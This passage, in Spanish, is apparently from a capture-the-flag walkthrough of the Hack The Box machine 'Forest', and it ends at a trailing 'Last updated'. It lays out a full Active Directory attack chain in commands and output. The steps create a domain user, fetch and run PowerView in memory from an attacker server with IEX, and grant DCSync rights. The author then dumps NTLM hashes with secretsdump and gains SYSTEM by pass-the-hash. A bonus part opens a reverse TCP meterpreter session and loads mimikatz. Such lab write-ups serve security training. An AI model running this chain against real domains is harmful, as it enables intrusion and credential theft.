Como primer paso nos vamos a conectar al servicio WinRM (port 5985) con EvilWinRM usando las credenciales de svc-alfresco, luego crearemos un nuevo usuario, le daremos privilegios, y modificaremos la ACL del dominio para ejecutar un ataque DCSync. Para ejecutar estos comandos primero necesitaremos cargar el script PowerView.ps1 en el equipo objetivo.

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# evil-winrm -u 'svc-alfresco' -p 's3rvice' -i 10.10.10.161     
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user 'admin' 'password' /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group 'Exchange Windows Permissions' 'admin' /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.20:80/PowerView.ps1')
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb\admin', $SecPassword)
 
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity admin -Rights DCSync
📌Parámetros

net user 'admin' 'password' /add /domain

  • Crea un nuevo usuario llamado admin en el dominio htb.local con contraseña password.

  • La opción /domain indica que se está creando la cuenta en el Active Directory, no solo localmente

net group 'Exchange Windows Permissions' 'admin' /add /domain

  • Agrega al usuario admin al grupo Exchange Windows Permissions, que por defecto tiene permisos WriteDACL sobre el objeto de dominio, lo vimos en bloodhound.

  • Esto le permitirá modificar las ACLs del dominio (listas de control de acceso).

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.20:80/PowerView.ps1')

  • Descarga y ejecuta en memoria el script PowerView.ps1, herramienta de enumeración y manipulación de Active Directory en PowerShell.

  • IEX (Invoke-Expression) ejecuta directamente el contenido descargado desde el servidor atacante (10.10.14.20 en este caso).

  • Con PowerView podremos manipular ACLs, usuarios, grupos y relaciones en el dominio.

$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb\admin', $SecPassword)

  • Creación de un objeto de credenciales para el usuario admin

  • Se genera un objeto de tipo SecureString con la contraseña.

  • Luego se crea un objeto de credenciales (PSCredential) que PowerView puede usar para autenticarse como admin@htb.local.

  • Esto es necesario para ejecutar comandos como otro usuario con más permisos.

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity admin -Rights DCSync

  • Usa las credenciales de admin para modificar la ACL del objeto principal del dominio (DC=htb,DC=local).

  • Le otorga al mismo usuario admin los derechos necesarios para realizar replicación de directorio → ataque DCSync.

  • El derecho DCSync incluye:

    • Replicating Directory Changes

    • Replicating Directory Changes All

    • Este es el paso clave para preparar un ataque de tipo DCSync, en el que podremos solicitar los hashes de los usuarios del dominio (incluido Administrator).

Levantamos un servidor con python para poder compartir el recurso PowerView.ps1, desde el directorio donde este script se encuentra. En mi caso primero copie el script desde el directorio donde se encuentra instalado hacia el directorio de trabajo del CTF y luego levante el servidor.

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 /home/kali/Documents/HTB/FOREST

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.161 - - [09/May/2025 02:06:10] "GET /PowerView.ps1 HTTP/1.1" 200 -

Una vez que ya agregamos al nuevo usuario (en mi caso se llama admin) al sistema y al grupo Exchange Windows Permissions y le dimos los derechos necesarios para realizar replicación de directorio (permisos de DcSync) vamos a usar la tool impacket-secretsdump para extraer el hash NTLM del usuario Administrator

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# impacket-secretsdump -dc-ip 10.10.10.161 htb.local/admin:password@10.10.10.161 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
📌¿Qué hace este comando?
  • Utiliza el usuario admin y su contraseña para conectarse al Controlador de Dominio en 10.10.10.161.

  • Intenta ejecutar un ataque DCSync mediante el uso del protocolo DRSUAPI, para obtener los hashes de las cuentas del dominio.

  • La opción -dc-ip especifica el Domain Controller directamente (evita problemas DNS).

  • Este resultado indica que la extracción del hash NTLM del usuario Administrator fue exitosa.

    • Administrator es el nombre de la cuenta.

    • 500 es el RID de la cuenta administrador por defecto del dominio.

    • El campo importante es:

aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
  • El primer valor es el LM hash (obsoleto y vacío, se rellena con aad3...).

  • El segundo es el NT hash, que puede usarse para Pass-the-Hash.

Autenticación con Pass-the-Hash

Ahora que tenemos el hash del Administrator vamos a utilizar el script psexec de impacket para conectarnos al DC y capturar las flags ¯\_( ͡° ͜ʖ ͡°)_/¯

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# impacket-psexec htb.local/Administrator@10.10.10.161 -hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6' 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file cZmggebK.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service aLqJ on 10.10.10.161.....
[*] Starting service aLqJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
c4e15886ce0433d315cc5d062d1e351d

C:\Windows\system32> type C:\Users\svc-alfresco\Desktop\user.txt
db50ed359712639dd86631f0da9a8bf4
📌Parámetros

htb.local/Administrator

  • Usuario con el que se va a autenticar, en este caso el Administrator del dominio htb.local.

@10.10.10.161

  • IP del objetivo, que es el Domain Controller.

-hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6'

Especifica los hashes LM:NTLM para autenticación. En este caso, el LM hash está vacío (aad3...) y se usa solo el hash NTLM real para hacer un Pass-the-Hash.

Bonus: Otra forma de conectarnos al DC con el hash del administrator es usando el módulo /windows/smb/psexec de msfconsole que nos levantará una sesión en meterpreter y podremos usar otros complementos como kiwi (mimikatz) para hacer más pruebas de extracción de credenciales.

msf6 > use /windows/smb/psexec 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.161
rhosts => 10.10.10.161
msf6 exploit(windows/smb/psexec) > set smbdomain htb.local
smbdomain => htb.local
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
smbpass => aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
msf6 exploit(windows/smb/psexec) > set lhost 10.10.14.20
lhost => 10.10.14.20
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.10.14.20:4444 
[*] 10.10.10.161:445 - Connecting to the server...
[*] 10.10.10.161:445 - Authenticating to 10.10.10.161:445|htb.local as user 'Administrator'...
[*] 10.10.10.161:445 - Selecting PowerShell target
[*] 10.10.10.161:445 - Executing the payload...
[+] 10.10.10.161:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 10.10.10.161
[*] Meterpreter session 1 opened (10.10.14.20:4444 -> 10.10.10.161:60339) at 2025-05-09 02:55:58 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Last updated